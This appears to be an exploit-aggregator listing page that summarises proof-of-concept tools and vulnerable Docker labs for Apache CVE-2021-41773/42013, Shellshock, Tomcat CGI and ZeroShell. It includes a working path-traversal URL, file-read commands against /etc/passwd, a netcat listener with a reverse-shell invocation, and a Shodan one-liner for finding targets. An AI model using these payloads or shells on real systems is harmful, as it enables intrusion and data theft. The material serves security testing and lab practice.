cve-2021-42013.get

Apache 2.4.50 - Path Traversal or Remote Code Execution cve-2021-42013.py is a python script that will help in finding Path Traversal or Remote Code Execution vulnerability in Apache 2.4.50. Vulnerable instance of Docker is provided to get your hands dirty on CVE-2021-42013 If CGI-BIN is enabled...

cve-2021-42013

Apache 2.4.50 - Path Traversal or Remote Code Execution cve-2021-42013.py is a python script that will help in finding Path Traversal or Remote Code Execution vulnerability in Apache 2.4.50. Vulnerable instance of Docker is provided to get your hands dirty on CVE-2021-42013 If CGI-BIN is enabled...

CVE-2021-41773

CVE-2021-41773 I have developed a POC of CVE-2021-41773 , RCE + cgi-bin path traversal NOTE : TESTED ON APACHE2 2.4.49 You can pulled vuln Apache2 2.4.49 directly from Docker root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE A python3 script for the CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE. RCE requires cgi-bin to be enabled Getting Started Executing program LFI root@kitploit: python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE root@kitploit: python3...

CVE-2019-0232

CVE-2019-0232 Apache Tomcat Remote Code Execution on Windows - CGI-BIN Apache Tomcat Remote Code Execution on Windows cgi-bin Usage: root@kitploit: Usage: python CVE-2019-0232.py url cmd Test Environment: root@kitploit: jdk8 apache-tomcat-8.5.39...

cve-2021-42013

Apache 2.4.50 - 路径遍历或远程代码执行 CVE-2021-42013.py 是一个 Python 脚本，用于检测 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。提供了一个存在漏洞的 Docker 实例，方便您动手实践 CVE-2021-42013。 如果启用了 CGI-BIN，则可以执行远程代码（但不能执行路径遍历），因此为了检查路径遍历漏洞，已在 httpd.conf 的 Alias 部分添加了 "icons" 目录。 httpd.conf 中的漏洞配置 root@kitploit: 1. 启用 CGI-BIN 2. 在 Alias 部分添加 "icons...

cve-2021-41773-and-cve-2021-42013

cve-2021-41773 and cve-2021-42013 cve-2021-41773 and cve-2021-42013 batch verification Python script Runtime environment: python3 Usage: python3 poc.py url.txt url.txt contains the URLs to be tested, and URLs with vulnerabilities will be written to success.txt The verification content is very...

CVE-2014-6271

CVE-2014-6271 python2.7 Start listening on your machine. root@kitploit: nc -l -p 4444 Run python script by the rule below: python shellpoc.py root@kitploit: python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 Enjoy...

exploitApache

exploitApache exploit for CVE-2021-41773: Path Traversal cgi-bin...

cgi-bin-shellshock

How to use Clone the repository or just copy-paste the one you prefer root@kitploit: sudo git clone https://github.com/Gurguii/shellshock.sh Run the script Bash root@kitploit: bash shellshock.sh -u -h -p Python root@kitploit: python3 shellshock.py -u -lh -lp Note: default LPORT is 4444, URL...

Cgi-bin_bash_Reverse

Cgi-binbashReverse POC for CVE-2014-6271 Src:https://gist.github.com/matjohn2/bc9689c60d4c9c5a2538...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts root@kitploit: id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex...

CVE-2021-41773

CVE-2021-41773 POC & Lab For CVE-2021-41773 Setup Lab root@kitploit: $ git clone https://github.com/0xc4t/CVE-2021-41773 $ cd CVE-2021-41773 $ docker build -t cve-2021-41773 . $ docker run --name cve-2021-41773 -p 81:80 cve-2021-41773 PoC root@kitploit: RCE curl...

CVE-2021-41773

CVE-2021-41773 Vulnerable service Installation Several options: 1. Docker container root@kitploit: docker run -d -p 8080:80 12345qwert123456/apache2449cve-2021-41773 2. Dockerfile root@kitploit: git clone https://github.com/12345qwert123456/CVE-2021-41773.git cd...

apache-cve-2021-41773-lab

Apache 2.4.49 Path Traversal Lab — CVE-2021-41773 Clone root@kitploit: git clone https://github.com/zubairahm3d/apache-cve-2021-41773-lab.git cd apache-cve-2021-41773-lab chmod +x apachelab.sh Usage Start the vulnerable server: root@kitploit: ./apachelab.sh choose option 1 Manual exploit:...

ZeroShell <= 1.0beta11 Remote Code Execution

ZeroShell 1.0beta11 and earlier via cgi-bin/kerbynet allows remote attackers to execute arbitrary commands through shell metacharacters in the type parameter in a NoAuthREQ x509List action. id: CVE-2009-0545 info: name: ZeroShell = 1.0beta11 Remote Code Execution author: geeknik severity: critica...

cve-2021-42013

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 CVE-2021-42013.pyは、Apache 2.4.50におけるパストラバーサルまたはリモートコード実行の脆弱性の発見に役立つPythonスクリプトです。CVE-2021-42013を実践的に学ぶために、Dockerの脆弱性インスタンスが提供されています。 CGI-BINが有効な場合、リモートコード実行は可能ですがパストラバーサルはできません。そのため、パストラバーサルの脆弱性を確認するために、httpd.confのAliasセクションに"icons"ディレクトリが追加されています。...

cve-2021-41773

Apache 2.4.49 - Path Traversal or Remote Code Execution cve-2021-41773.py is a python script that will help in finding Path Traversal or Remote Code Execution vulnerability in Apache 2.4.49. Vulnerable instance of Docker is provided to get your hands dirty on CVE-2021-41773 If CGI-BIN is enabled...

cve-2021-42013

Apache 2.4.50 - Path Traversal or Remote Code Execution CVE-2021-42013.py is a python script that will help in finding Path Traversal or Remote Code Execution vulnerability in Apache 2.4.50. Vulnerable instance of Docker is provided to get your hands dirty on CVE-2021-42013 If CGI-BIN is enabled...

cve-2021-41773

CVE-2021-41773 CVE-2021-41773: Apache HTTPサーバのパストラバーサルゼロデイ脆弱性が悪用される Apache HTTP Server CVE-2021-41773 が実際に悪用される CVE-2021-42013: Apache HTTP Server 2.4.49および2.4.50におけるパストラバーサルとリモートコード実行（CVE-2021-41773の不完全な修正） Shodan ワンライナー root@kitploit: shodan search Apache Server 2.4.49 | awk 'print $1":"$2' |...